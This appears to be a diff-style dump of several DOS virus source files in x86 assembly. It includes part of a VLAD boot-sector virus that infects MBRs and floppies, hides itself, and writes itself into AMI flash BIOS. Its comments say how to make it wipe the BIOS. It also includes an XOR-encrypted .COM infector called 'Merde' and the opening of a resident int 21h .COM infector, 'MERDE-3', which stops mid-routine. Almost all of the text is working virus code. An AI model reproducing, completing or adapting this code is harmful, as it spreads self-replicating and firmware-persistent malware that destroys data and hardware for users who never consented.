mov cl,14 ;Cylinder=0, Sector=14
|
||||||
|
mov dh,1 ;Head=1
|
||||||
|
|
||||||
|
MBR_Loader:
|
||||||
|
call int13h
|
||||||
|
|
||||||
|
push dx ;DL=Drive we are at.
|
||||||
|
|
||||||
|
cmp byte ptr cs:flash_done,1 ;flash is already infected.
|
||||||
|
je flash_resident
|
||||||
|
|
||||||
|
call flash_BIOS ;Infect flash BIOS if any.
|
||||||
|
|
||||||
|
Flash_resident:
|
||||||
|
|
||||||
|
pop dx
|
||||||
|
|
||||||
|
db 0eah ;JMPF 0000:7C00H
|
||||||
|
dw 7c00h
|
||||||
|
dw 0
|
||||||
|
|
||||||
|
Stealth:
|
||||||
|
|
||||||
|
mov cx,2
|
||||||
|
mov ax,201h
|
||||||
|
cmp dl,80h
|
||||||
|
jae hd_stealth
|
||||||
|
mov cl,14
|
||||||
|
mov dh,1
|
||||||
|
hd_stealth:
|
||||||
|
call int13h
|
||||||
|
jmp pop_exit
|
||||||
|
res_test:
|
||||||
|
xchg ah,al
|
||||||
|
iret
|
||||||
|
Handler:
|
||||||
|
cmp ax,0abbah
|
||||||
|
je res_test
|
||||||
|
cmp ah,2 ;Reading the first sector ?
|
||||||
|
jne jend
|
||||||
|
cmp cx,1
|
||||||
|
jne jend
|
||||||
|
cmp dh,0
|
||||||
|
jne jend
|
||||||
|
|
||||||
|
try_infect:
|
||||||
|
|
||||||
|
call int13h
|
||||||
|
jc jend
|
||||||
|
|
||||||
|
pushf
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push es
|
||||||
|
push ds
|
||||||
|
|
||||||
|
;Test if already infected.
|
||||||
|
|
||||||
|
cmp word ptr es:[bx + offset marker],'LV'
|
||||||
|
je stealth ;Already infected.
|
||||||
|
|
||||||
|
cmp dl,80h ;C:
|
||||||
|
jb infect_floppy
|
||||||
|
|
||||||
|
mov cx,2 ;Sector 2 - Empty MBR space.
|
||||||
|
xor dh,dh
|
||||||
|
jmp write_virus
|
||||||
|
|
||||||
|
Infect_Floppy:
|
||||||
|
;Store at end of root directory for floppy drives.
|
||||||
|
;(Will fuck up on 360k but I dont give a shit!)
|
||||||
|
|
||||||
|
mov cx,14 ;Cylinder=0, Sector=14
|
||||||
|
mov dh,1 ;Head=1
|
||||||
|
|
||||||
|
Write_Virus:
|
||||||
|
;Write original boot sector to spare room.
|
||||||
|
|
||||||
|
mov ax,301h
|
||||||
|
call int13h
|
||||||
|
jc pop_exit
|
||||||
|
|
||||||
|
;The virus is written at this point.
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
|
||||||
|
mov byte ptr cs:flash_done,0
|
||||||
|
|
||||||
|
xor bx,bx
|
||||||
|
mov ax,301h ;Write virus.
|
||||||
|
mov cx,1
|
||||||
|
xor dh,dh
|
||||||
|
call int13h
|
||||||
|
|
||||||
|
Pop_Exit:
|
||||||
|
pop ds
|
||||||
|
pop es
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
popf
|
||||||
|
|
||||||
|
retf 2
|
||||||
|
|
||||||
|
jend:
|
||||||
|
db 0eah ;Stands for Jmpf
|
||||||
|
i13 dd 0 ;The original int13h
|
||||||
|
|
||||||
|
|
||||||
|
Int13h proc near
|
||||||
|
|
||||||
|
pushf
|
||||||
|
call dword ptr cs:[i13]
|
||||||
|
ret
|
||||||
|
|
||||||
|
Int13h endp
|
||||||
|
|
||||||
|
Marker db 'VLAD' ;Running out of room so small
|
||||||
|
;marker.
|
||||||
|
|
||||||
|
|
||||||
|
Flash_BIOS Proc Near
|
||||||
|
|
||||||
|
; Flash BIOS infection (c) 1994 Qark/VLAD!
|
||||||
|
|
||||||
|
;Disclaimer: If any of this wrecks your computer that's your bad luck
|
||||||
|
;because you know this is dangerous code.
|
||||||
|
|
||||||
|
;I just hope that AMIFLASH is loaded at boot and isn't a driver. Since it's
|
||||||
|
;written by a BIOS maker you'd think so...
|
||||||
|
|
||||||
|
|
||||||
|
mov ax,0e000h ;Get flash BIOS number.
|
||||||
|
int 16h ;Test for its presence.
|
||||||
|
jc no_flash_bios
|
||||||
|
cmp al,0fah ;<-- gotta test this
|
||||||
|
jne no_flash_bios
|
||||||
|
|
||||||
|
Infect_Flash:
|
||||||
|
|
||||||
|
;We are now working with AMIFLASH!
|
||||||
|
|
||||||
|
;First we'll find a nice place to store our virus.
|
||||||
|
; We'll scan between F000-FFFF where BIOS is normally stored for
|
||||||
|
; a 1K chunk of consecutive zeros. (We might only need half a K
|
||||||
|
; but I'm overplanning)
|
||||||
|
|
||||||
|
mov ax,0f000h ;ROM BIOS segment
|
||||||
|
mov ds,ax
|
||||||
|
|
||||||
|
New_segment:
|
||||||
|
|
||||||
|
xor si,si
|
||||||
|
xor dx,dx
|
||||||
|
|
||||||
|
ok_new_segment:
|
||||||
|
|
||||||
|
inc ax
|
||||||
|
mov ds,ax
|
||||||
|
|
||||||
|
cmp ax,0fff0h ;No room for our virus.
|
||||||
|
je no_flash_BIOS
|
||||||
|
Test16:
|
||||||
|
cmp word ptr [si],0 ;Scan words
|
||||||
|
jne new_segment
|
||||||
|
|
||||||
|
inc dx ;DX is our free room counter.
|
||||||
|
cmp dx,512 ;1024 byte buffer found (512x2)
|
||||||
|
je found_storage
|
||||||
|
|
||||||
|
inc si
|
||||||
|
inc si ;Coz we are messing with words.
|
||||||
|
|
||||||
|
cmp si,16 ;We are going up in paragraphs.
|
||||||
|
je ok_new_segment
|
||||||
|
jmp test16
|
||||||
|
|
||||||
|
|
||||||
|
Found_storage:
|
||||||
|
sub ax,40h ;Sub 1K (40hx16=1024)
|
||||||
|
mov ds,ax ;Coz we are using segments
|
||||||
|
|
||||||
|
mov ax,0e001h ;Chipset save requirement.
|
||||||
|
int 16h
|
||||||
|
|
||||||
|
;BX=Number of bytes to Save Chipset.
|
||||||
|
|
||||||
|
cmp bx,512
|
||||||
|
jbe save_chipset
|
||||||
|
|
||||||
|
;We won't bother saving the chipset because it takes up more room
|
||||||
|
;than our virus buffer can store. Fuck em :)
|
||||||
|
|
||||||
|
mov byte ptr cs:chipset,1 ;Indicate we haven't saved anything.
|
||||||
|
|
||||||
|
jmp write_enable
|
||||||
|
No_Flash_BIOS:
|
||||||
|
ret
|
||||||
|
save_chipset:
|
||||||
|
mov byte ptr cs:chipset,0 ;We've saved stuff.
|
||||||
|
|
||||||
|
mov al,2
|
||||||
|
push cs
|
||||||
|
pop es ;ES=CS
|
||||||
|
mov di,offset buffer
|
||||||
|
int 16h ;Chipset Status to ES:DI
|
||||||
|
|
||||||
|
write_enable:
|
||||||
|
|
||||||
|
mov al,5
|
||||||
|
int 16h ;Raise Voltage (this may take time).
|
||||||
|
|
||||||
|
mov al,7 ;Flash Write Enable.
|
||||||
|
int 16h
|
||||||
|
|
||||||
|
;Flash Memory is now writable. I am working on nothing here
|
||||||
|
;so I'll assume you just write to it normally and it'll be
|
||||||
|
;put there. If you were into writing destructive payloads
|
||||||
|
;this would be the mother of them all. Just load CX with 0ffffh
|
||||||
|
;to trash their computer. Also, leaving the computer in this
|
||||||
|
;state for extended periods could cause damage (Dunno ? Their
|
||||||
|
;electricity bill would go up at least :)
|
||||||
|
|
||||||
|
push ds
|
||||||
|
pop es ;DS=ES=Place to put virus.
|
||||||
|
|
||||||
|
xor di,di
|
||||||
|
mov cx,512 ;<-- FFFF = trouble!
|
||||||
|
push cs
|
||||||
|
pop ds ;DS=CS
|
||||||
|
xor si,si
|
||||||
|
cld
|
||||||
|
rep movsb ;Move our virus into BIOS.
|
||||||
|
|
||||||
|
;Hopefully our virus is written ?
|
||||||
|
|
||||||
|
;Ok, I looked into this carefully. At bootup int19h points
|
||||||
|
;into the BIOS but thereafter is grabbed by various programs
|
||||||
|
;(Dunno why, its the shittiest interrupt out). So, if you debug
|
||||||
|
;right now it'll point into some shadowed area or else into
|
||||||
|
;segment 70h, but it won't at bootup which is the only time boot
|
||||||
|
;sector viruses get executed so all is cool.
|
||||||
|
|
||||||
|
;What we'll do is modify the actual bytes at the entry point to
|
||||||
|
;the interrupt. You might think I should do something else but
|
||||||
|
;I can't think of any other way of hooking an interrupt at bootup.
|
||||||
|
|
||||||
|
;Priest-P/S reckoned I should just store my virus in the Flash
|
||||||
|
;and let the bootvirus just jump to it or something but then
|
||||||
|
;it's not really infected methinks. He also suggested I just modify
|
||||||
|
;the int13h entry point and restore the bytes etc. Well as you can
|
||||||
|
;see from the involved code needed just to write to flash I think
|
||||||
|
;that with a common interrupt like int13h it isn't feasible.
|
||||||
|
|
||||||
|
;Get Segment:Offset of original int19handler
|
||||||
|
|
||||||
|
mov bx,es ;BX=Virus Segment
|
||||||
|
xor ax,ax
|
||||||
|
mov ds,ax ;DS=Vector Table.
|
||||||
|
mov di,word ptr [19h*4] ;Offset of int19h
|
||||||
|
mov es,word ptr [19h*4+2] ;Segment of 19h
|
||||||
|
|
||||||
|
;Write a JMP FAR at the int19h entry point.
|
||||||
|
mov al,0eah
|
||||||
|
stosb
|
||||||
|
mov ax,offset int19handler
|
||||||
|
stosw
|
||||||
|
mov ax,bx
|
||||||
|
stosw ;Creates a JMPF INT19HANDLER at the
|
||||||
|
;int19h entry point.
|
||||||
|
|
||||||
|
mov ax,0e004h ;Lower Voltage.
|
||||||
|
int 16h
|
||||||
|
|
||||||
|
mov al,6 ;Write Protect.
|
||||||
|
int 16h
|
||||||
|
|
||||||
|
cmp byte ptr cs:chipset,0
|
||||||
|
jne No_Flash_BIOS ;We've done for this one.
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop es ;ES=CS
|
||||||
|
|
||||||
|
mov al,3
|
||||||
|
mov di,offset buffer ;Restore all their shit.
|
||||||
|
int 16h
|
||||||
|
jmp no_flash_bios
|
||||||
|
|
||||||
|
chipset db 0 ;1=chipset not saved
|
||||||
|
flash_done db 0 ;1=loaded from flash.
|
||||||
|
|
||||||
|
;This is our own int19h handler. The original sux because it isn't infected.
|
||||||
|
;(Strange logic :)
|
||||||
|
Int19Handler Proc Near
|
||||||
|
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax ;ES=0
|
||||||
|
|
||||||
|
mov ax,0abbah ;ABBA - from Muriels Wedding.
|
||||||
|
int 13h
|
||||||
|
|
||||||
|
cmp ax,0baabh ;BAAB - I like these.
|
||||||
|
jne real_int19h
|
||||||
|
|
||||||
|
;We are currently before the boot here. Lets install our virus before
|
||||||
|
;any boot sectors or anything get loaded.
|
||||||
|
|
||||||
|
push cs ;DS=0
|
||||||
|
pop ds
|
||||||
|
cld
|
||||||
|
xor si,si
|
||||||
|
mov di,7c00h
|
||||||
|
mov cx,512
|
||||||
|
rep movsb ;Move our virus from BIOS into boot buffer.
|
||||||
|
mov dl,80h ;Make it think its C:
|
||||||
|
jmp goto_Buffer ;Execute it.
|
||||||
|
|
||||||
|
real_int19h:
|
||||||
|
xor ax,ax
|
||||||
|
int 13h ;Reset disk
|
||||||
|
|
||||||
|
mov cx,1
|
||||||
|
mov dh,0
|
||||||
|
mov ax,201h
|
||||||
|
mov bx,7c00h
|
||||||
|
cmp dl,0
|
||||||
|
ja hd_int19h
|
||||||
|
|
||||||
|
int 13h ;Read boot sector.
|
||||||
|
jc fix_hd
|
||||||
|
|
||||||
|
Goto_Buffer:
|
||||||
|
mov byte ptr es:[7c00h+offset flash_done],1
|
||||||
|
|
||||||
|
db 0eah ;JMPF 0000:7C00
|
||||||
|
dw 7c00h
|
||||||
|
dw 0
|
||||||
|
Fix_HD:
|
||||||
|
mov dl,80h ;Boot from C:
|
||||||
|
HD_Int19h:
|
||||||
|
xor ax,ax
|
||||||
|
int 13h ;Reset controller.
|
||||||
|
mov ax,201h
|
||||||
|
int 13h
|
||||||
|
jc fucked_boot
|
||||||
|
jmp Goto_Buffer
|
||||||
|
|
||||||
|
Fucked_boot:
|
||||||
|
int 18h ;Called when a boot fucks up
|
||||||
|
|
||||||
|
Int19Handler EndP
|
||||||
|
|
||||||
|
Flash_BIOS EndP
|
||||||
|
|
||||||
|
End_Virus:
|
||||||
|
DupSize equ 510 - offset End_Virus
|
||||||
|
db DupSize dup (0)
|
||||||
|
db 55h,0aah ;End of Sector Marker.
|
||||||
|
|
||||||
|
Buffer: ;512 bytes of storage space in here.
|
||||||
|
|
||||||
@@ -0,0 +1,203 @@
|
|||||||
|
;well, here's the next installment of the merde virus...all that is new;
|
||||||
|
;is your run of the mill xor encryption........and a little change in;
|
||||||
|
;the code itself to make it slightly more modular...;
|
||||||
|
;up+coming: .exe version(why put 'em together? makes it too big);
|
||||||
|
; an actual function besides infect!;
|
||||||
|
; TSR infect version?;
|
||||||
|
attrib equ 21
|
||||||
|
time equ 22
|
||||||
|
date equ 24
|
||||||
|
fspec_address equ 0e4h
|
||||||
|
filesize equ 26
|
||||||
|
fname equ 30
|
||||||
|
dta equ 80h
|
||||||
|
virsize equ 354
|
||||||
|
byte_compare_val equ 35
|
||||||
|
CODE_SEG SEGMENT BYTE
|
||||||
|
ASSUME DS:CODE_SEG, CS:CODE_SEG
|
||||||
|
ORG 100h
|
||||||
|
first: jmp caller
|
||||||
|
db 128 dup(00)
|
||||||
|
caller: call caller2 ;si=this address for the whole thing;
|
||||||
|
|
||||||
|
;ok, for encryption, we use the value of the byte at the jump instruction;
|
||||||
|
;if the file we find isn't infected...;
|
||||||
|
|
||||||
|
encryptv: db ?
|
||||||
|
|
||||||
|
;si=offset of the "caller";
|
||||||
|
|
||||||
|
caller2: pop si
|
||||||
|
sub si,3
|
||||||
|
jmp getstart
|
||||||
|
|
||||||
|
;jmp to getstart and have it call us back, getting the address of "start";
|
||||||
|
;into es..(I know, why not just add the size of the stuff to si?;
|
||||||
|
;I'll do it some other time;
|
||||||
|
|
||||||
|
after: pop es ;es=start:;
|
||||||
|
|
||||||
|
;okay, I decided, arbitrarily, to use bp and jump from the encrypt;
|
||||||
|
;function so it was more unsingular to a particular circumstance;
|
||||||
|
|
||||||
|
mov bp,es ;unencrypt de code+jump to virus;
|
||||||
|
jmp encrypt
|
||||||
|
|
||||||
|
;if we are being called from the write proc, we need to save BP on the stack;
|
||||||
|
|
||||||
|
encrypt_w: mov ax,bp ;ax=whereto jump at end;
|
||||||
|
pop bp ;bp=return to write routine;
|
||||||
|
push ax ;where to jump at end is on stack
|
||||||
|
;note the standard, run o' the mill encrypt/decrypt!;
|
||||||
|
|
||||||
|
encrypt: push bx ;might not be needed, I'll check later;
|
||||||
|
push si
|
||||||
|
mov cl,[si+3] ;offset of encrypt value;
|
||||||
|
mov bx,es ;where to start encrypting;
|
||||||
|
xor si,si
|
||||||
|
xloop: mov al,[bx+si]
|
||||||
|
xor al,cl
|
||||||
|
mov [bx+si],al
|
||||||
|
cmp si,0e7h ;size of post-start(or close enough);
|
||||||
|
ja done
|
||||||
|
inc si
|
||||||
|
jmp xloop
|
||||||
|
done: pop si
|
||||||
|
pop bx
|
||||||
|
jmp bp ;jump whereever we were supposed to;
|
||||||
|
|
||||||
|
write_code: call encrypt_w ;yep, encrypt it;
|
||||||
|
pop bp ;get back address in this infected file;
|
||||||
|
mov bx,[di+9] ;file to jump to, and file handle;
|
||||||
|
mov ah,40h
|
||||||
|
mov cx,virsize ;total virus size
|
||||||
|
mov dx,si
|
||||||
|
int 21h
|
||||||
|
call close_current
|
||||||
|
jmp nofiles ;not really, just didn't change name;
|
||||||
|
;this proc closes the file with original stats;
|
||||||
|
close_current:
|
||||||
|
mov dx,[di+14]
|
||||||
|
mov cx,[di+12]
|
||||||
|
mov ax,5701h
|
||||||
|
mov bx,[di+9]
|
||||||
|
int 21h
|
||||||
|
mov ah,3eh
|
||||||
|
int 21h
|
||||||
|
mov ax,4301h
|
||||||
|
xor ch,ch
|
||||||
|
mov cl,[di+11]
|
||||||
|
int 21h
|
||||||
|
ret
|
||||||
|
nofiles: push ds
|
||||||
|
pop es
|
||||||
|
jmp bp
|
||||||
|
|
||||||
|
getstart: call after
|
||||||
|
|
||||||
|
|
||||||
|
;encrypted from here on out-es=start of this procedure;
|
||||||
|
start: mov di,es
|
||||||
|
add di,fspec_address ;di=ADDRESS OF FILESPEC!;
|
||||||
|
mov dh,[di+18]
|
||||||
|
mov ah,[di+17]
|
||||||
|
mov al,[di+16]
|
||||||
|
mov bx,100h
|
||||||
|
mov [bx],al
|
||||||
|
mov [bx+1],ah
|
||||||
|
mov [bx+2],dh
|
||||||
|
mov bp,bx
|
||||||
|
mov ah,4eh ;------------------;
|
||||||
|
mov cx,33
|
||||||
|
mov dx,di ;find file match;
|
||||||
|
search: int 21h
|
||||||
|
jc nofiles ;get out if none found;
|
||||||
|
mov bx,dta+filesize ;compare filesize via BX;
|
||||||
|
cmp word ptr [bx],65000
|
||||||
|
ja leave1
|
||||||
|
cmp word ptr [bx],150
|
||||||
|
jb leave1
|
||||||
|
jmp ok
|
||||||
|
leave1: mov ah,4fh
|
||||||
|
jmp search
|
||||||
|
ok: CLC
|
||||||
|
|
||||||
|
;Okay-- DI=base of fspec;
|
||||||
|
mov bx,dta+attrib
|
||||||
|
mov al,[bx]
|
||||||
|
mov [di+11],al ;save attrib;
|
||||||
|
mov ax,word ptr [bx+1]
|
||||||
|
mov [di+12],ax ;save time;
|
||||||
|
mov ax,word ptr [bx+3]
|
||||||
|
mov [di+14],ax ;save date;
|
||||||
|
mov ax,4301h
|
||||||
|
mov cx,0
|
||||||
|
mov dx,dta+fname
|
||||||
|
int 21h ;set attrib to 0;
|
||||||
|
label2: mov ax,3d02h
|
||||||
|
int 21h
|
||||||
|
mov [di+9],ax ;open + save handle;
|
||||||
|
mov bx,ax
|
||||||
|
mov ah,3fh
|
||||||
|
mov cx,3
|
||||||
|
mov dx,di
|
||||||
|
add dx,16 ;dx points to save area for first three bytes;
|
||||||
|
int 21h ;open handle, and read 3 bytes into it;
|
||||||
|
cmp byte ptr [di+16],0e9h
|
||||||
|
jne label1
|
||||||
|
cont: mov ax,4200h
|
||||||
|
xor cx,cx
|
||||||
|
mov dx,[di+17]
|
||||||
|
add dx,3+byte_compare_val
|
||||||
|
mov bx,[di+9]
|
||||||
|
int 21h
|
||||||
|
mov ah,3fh
|
||||||
|
mov cx,2
|
||||||
|
mov dx,di
|
||||||
|
add dx,6
|
||||||
|
int 21h
|
||||||
|
mov dx,[di+6]
|
||||||
|
cmp dx,[si+byte_compare_val]
|
||||||
|
jne label1
|
||||||
|
call close_current
|
||||||
|
jmp leave1
|
||||||
|
label1:
|
||||||
|
;set encrypt value here---(low order byte of filesize of next file;
|
||||||
|
mov bx,dta+filesize
|
||||||
|
mov dl,[bx]
|
||||||
|
mov [si+3],dl
|
||||||
|
mov bx,[di+9]
|
||||||
|
mov ax,4200h
|
||||||
|
xor cx,cx
|
||||||
|
mov dx,0
|
||||||
|
int 21h
|
||||||
|
;okay, this is kinda thick..;
|
||||||
|
;set pointer to after jmp instruct, and change address to size;
|
||||||
|
;of file plus 3 for jmp instruction, minding that we have to flip stuff;
|
||||||
|
mov bx,dta+filesize
|
||||||
|
mov dh,[bx+1] ;high val equals 2nd part of word+vice versa;
|
||||||
|
mov dl,[bx]
|
||||||
|
sub dx,3
|
||||||
|
mov [di+7],dx
|
||||||
|
mov byte ptr [di+6],0e9h
|
||||||
|
mov ah,40h
|
||||||
|
mov bx,[di+9]
|
||||||
|
mov dx,di
|
||||||
|
add dx,6
|
||||||
|
mov cx,3
|
||||||
|
int 21h
|
||||||
|
xor cx,cx
|
||||||
|
mov ax,4202h
|
||||||
|
xor dx,dx
|
||||||
|
int 21h
|
||||||
|
jmp write_code
|
||||||
|
|
||||||
|
fspec: db '*.com',0 ;bx+0;
|
||||||
|
disk_buffer: db 3 DUP(?) ;di+6;
|
||||||
|
handle: dw ? ;di+9;
|
||||||
|
attribute: db ? ;di+11;
|
||||||
|
otime: dw ? ;di+12;
|
||||||
|
odate: dw ? ;di+14;
|
||||||
|
first_3: db 0cdh,20h,00 ;di+16;
|
||||||
|
CODE_SEG ENDS
|
||||||
|
END first
|
||||||
@@ -0,0 +1,405 @@
|
|||||||
|
; MERDE-3: A resident, non-overwriting .Com infector by the loki-nator
|
||||||
|
|
||||||
|
;Well, here it is, for what it's worth.. It is really kind of a
|
||||||
|
;piece of crap, but it is just a rough draft..
|
||||||
|
;NOTES:
|
||||||
|
; If this gets into Command.Com, it (command) won't work for unknown reasons..
|
||||||
|
; I could have fixed it by just checking to make sure the file it is infecting
|
||||||
|
; isn't command.com, but I decided that this would be it's harmful side effect
|
||||||
|
; and left it... I will have to fix several things in it, like its memory
|
||||||
|
; handling, etc... It only infects files when they are loaded for EXECUTION!
|
||||||
|
; it won't infect .com files loaded by debug via AX=4b03, or al=anything
|
||||||
|
; except 00.... Also, it hooks int 71 for its own type of multiplex
|
||||||
|
; interrupt to check if the resident portion is already installed..
|
||||||
|
; I don't know if that will get me in trouble or not. This is not very well
|
||||||
|
; tested, so it may hand under some circumstances or ill-behaved programs
|
||||||
|
; that mess with the memory (like I did)... Well, I need to add .exe
|
||||||
|
; infection, or I will be just a wanna-be virus writer!
|
||||||
|
; At this very moment, I will probably modify it for infection of any function
|
||||||
|
; that gives INT 21 a DS:DX pointer to a com file.
|
||||||
|
; Oh, yeah- If you compile it, you have to run the included Maker.bat file
|
||||||
|
; after you have compiled it (Use Tasm, but I guess anything will work.)
|
||||||
|
|
||||||
|
; Any GOOD virus writers out there will obviously notice how inefficient this
|
||||||
|
; is, so if you do, leave me mail with some pointers....
|
||||||
|
|
||||||
|
compare_val equ 900
|
||||||
|
interrupt equ 21h
|
||||||
|
Code_seg Segment Byte
|
||||||
|
Assume DS:Code_seg, CS:Code_seg
|
||||||
|
ORG 100h
|
||||||
|
start: mov di,0100h ;di=start
|
||||||
|
mov si,bx
|
||||||
|
add si,offset five_bytes-100h
|
||||||
|
mov cx,5
|
||||||
|
rep movsb
|
||||||
|
int 71h
|
||||||
|
cmp ax,9999h
|
||||||
|
jne okay
|
||||||
|
mov ax,0100h
|
||||||
|
xor si,si
|
||||||
|
xor si,di
|
||||||
|
xor cx,cx
|
||||||
|
jmp ax
|
||||||
|
okay: mov di,bx
|
||||||
|
sub di,100h
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
mov ax,es:[interrupt*4]
|
||||||
|
mov bx,es:[interrupt*4+2]
|
||||||
|
mov [di+int_21_saveo],ax
|
||||||
|
mov [di+int_21_saves],bx
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov [di+orig_stackp],sp
|
||||||
|
cli
|
||||||
|
mov sp,di
|
||||||
|
add sp,offset my_stack
|
||||||
|
sti
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push bp
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
mov [di+my_stack_save],sp
|
||||||
|
cli
|
||||||
|
mov sp,[di+orig_stackp]
|
||||||
|
sti
|
||||||
|
int 12h
|
||||||
|
mov bx,cs
|
||||||
|
mov cx,1024
|
||||||
|
mul cx
|
||||||
|
clc
|
||||||
|
mov cx,400h
|
||||||
|
sub ax,cx
|
||||||
|
sbb dx,0000 ;dx:ax=where we want this mem to end!
|
||||||
|
mov [di+high_ram],dx
|
||||||
|
mov [di+low_ram],ax
|
||||||
|
here: mov cx,cs
|
||||||
|
mov ax,0010h
|
||||||
|
mul cx
|
||||||
|
clc
|
||||||
|
mov cx,di
|
||||||
|
add cx,offset ending
|
||||||
|
add ax,cx
|
||||||
|
adc dx,0000
|
||||||
|
clc
|
||||||
|
sub [di+low_ram],ax
|
||||||
|
sbb [di+high_ram],dx
|
||||||
|
clc
|
||||||
|
mov ax,[di+low_ram]
|
||||||
|
mov dx,[di+high_ram]
|
||||||
|
mov cx,0010h
|
||||||
|
div cx ;dx:ax=memory above this-divide it by 16
|
||||||
|
mov bx,ax
|
||||||
|
mov ah,4ah
|
||||||
|
int 21h
|
||||||
|
jnc okay_1
|
||||||
|
jmp get_out
|
||||||
|
okay_1: mov ah,48h
|
||||||
|
mov bx,60h
|
||||||
|
int 21h
|
||||||
|
mov [my_segment+di],ax
|
||||||
|
jnc okay_2
|
||||||
|
jmp get_out
|
||||||
|
okay_2: push di
|
||||||
|
xor di,di
|
||||||
|
xor si,si
|
||||||
|
mov es,ax
|
||||||
|
mov cx,100h
|
||||||
|
rep movsb
|
||||||
|
pop si
|
||||||
|
push si
|
||||||
|
add si,100h
|
||||||
|
mov cx,offset ending-100h
|
||||||
|
rep movsb
|
||||||
|
pop di
|
||||||
|
mov dx,es
|
||||||
|
sub dx,1
|
||||||
|
mov es,dx
|
||||||
|
mov es:[1],ax
|
||||||
|
mov byte ptr es:[0],'Z'
|
||||||
|
mov word ptr es:[3],0000
|
||||||
|
mov es,ax
|
||||||
|
mov es:[16h],ds
|
||||||
|
mov ax,offset return_to_file
|
||||||
|
add ax,di
|
||||||
|
mov es:[0ah],ax
|
||||||
|
mov es:[0ch],ds
|
||||||
|
mov ah,50h
|
||||||
|
mov bx,es
|
||||||
|
int 21h
|
||||||
|
mov dx,600h
|
||||||
|
mov ax,es
|
||||||
|
mov ds,ax
|
||||||
|
mov es,ax
|
||||||
|
push cs
|
||||||
|
pop ss
|
||||||
|
mov word ptr cs:[return_to_file+di+1],di
|
||||||
|
mov sp,600h
|
||||||
|
int 27h
|
||||||
|
return_to_file:
|
||||||
|
mov di,0000
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
mov bx,offset my_21
|
||||||
|
mov ax,cs:[di+my_segment]
|
||||||
|
mov word ptr es:[interrupt*4],bx
|
||||||
|
mov word ptr es:[interrupt*4+2],ax
|
||||||
|
mov word ptr es:[71h*4+2],ax
|
||||||
|
mov bx,offset my_71
|
||||||
|
mov word ptr es:[71h*4],bx
|
||||||
|
mov ax,cs
|
||||||
|
cli
|
||||||
|
mov ss,ax
|
||||||
|
mov sp,cs:[my_stack_save+di]
|
||||||
|
sti
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop bp
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
cli
|
||||||
|
mov sp,cs:[di+orig_stackp]
|
||||||
|
sti
|
||||||
|
mov ax,0100h
|
||||||
|
jmp ax
|
||||||
|
get_out:
|
||||||
|
mov ax,cs
|
||||||
|
cli
|
||||||
|
mov ss,ax
|
||||||
|
mov sp,cs:[di+my_stack_save]
|
||||||
|
sti
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop bp
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
cli
|
||||||
|
mov sp,cs:[di+orig_stackp]
|
||||||
|
sti
|
||||||
|
mov ax,0100h
|
||||||
|
jmp ax
|
||||||
|
|
||||||
|
|
||||||
|
;------------------------------------------------------------------
|
||||||
|
|
||||||
|
my_21:
|
||||||
|
cmp ah,4bh
|
||||||
|
je continue_with_it
|
||||||
|
jmp continue_21
|
||||||
|
continue_with_it:
|
||||||
|
cmp al,00
|
||||||
|
je okay_go
|
||||||
|
jmp continue_21
|
||||||
|
okay_go:
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push es
|
||||||
|
push di
|
||||||
|
push si
|
||||||
|
push bp
|
||||||
|
push es
|
||||||
|
push ds
|
||||||
|
check_file:
|
||||||
|
mov bx,dx
|
||||||
|
xor si,si
|
||||||
|
looper:
|
||||||
|
cmp byte ptr ds:[bx+si],'.'
|
||||||
|
je check_com
|
||||||
|
cmp si,35
|
||||||
|
jle okay5
|
||||||
|
jmp give_up1
|
||||||
|
okay5: inc si
|
||||||
|
jmp looper
|
||||||
|
check_com:
|
||||||
|
inc si
|
||||||
|
cmp byte ptr ds:[bx+si],'c'
|
||||||
|
je check_for_infection
|
||||||
|
cmp byte ptr ds:[bx+si],'C'
|
||||||
|
je check_for_infection
|
||||||
|
jmp give_up1
|
||||||
|
check_for_infection:
|
||||||
|
mov cs:[high_file],ds
|
||||||
|
mov cs:[low_file],dx
|
||||||
|
mov ah,50h ;set PSP to ours
|
||||||
|
push cs
|
||||||
|
pop bx
|
||||||
|
call dos_21
|
||||||
|
mov ah,43h
|
||||||
|
xor al,al
|
||||||
|
call dos_21
|
||||||
|
jnc okay9
|
||||||
|
jmp give_up
|
||||||
|
okay9: mov cs:[attrib],cx
|
||||||
|
mov ah,43h
|
||||||
|
mov al,1
|
||||||
|
xor cx,cx
|
||||||
|
call dos_21
|
||||||
|
mov ah,3dh
|
||||||
|
mov al,2
|
||||||
|
call dos_21
|
||||||
|
jnc okay10
|
||||||
|
jmp give_up
|
||||||
|
okay10: mov cs:[handle],ax
|
||||||
|
mov bx,ax
|
||||||
|
mov ah,57h
|
||||||
|
xor al,al
|
||||||
|
call dos_21
|
||||||
|
mov cs:[date],dx
|
||||||
|
mov cs:[time],cx
|
||||||
|
mov al,2
|
||||||
|
mov ah,42h
|
||||||
|
xor dx,dx
|
||||||
|
xor cx,cx
|
||||||
|
call dos_21
|
||||||
|
jnc okay11
|
||||||
|
jmp give_up
|
||||||
|
okay11: cmp dx,0
|
||||||
|
je okay12
|
||||||
|
jmp give_up
|
||||||
|
okay12: mov cs:[file_size],ax
|
||||||
|
cmp ax,64000
|
||||||
|
jb contin1
|
||||||
|
call reset_all
|
||||||
|
jmp give_up
|
||||||
|
contin1:
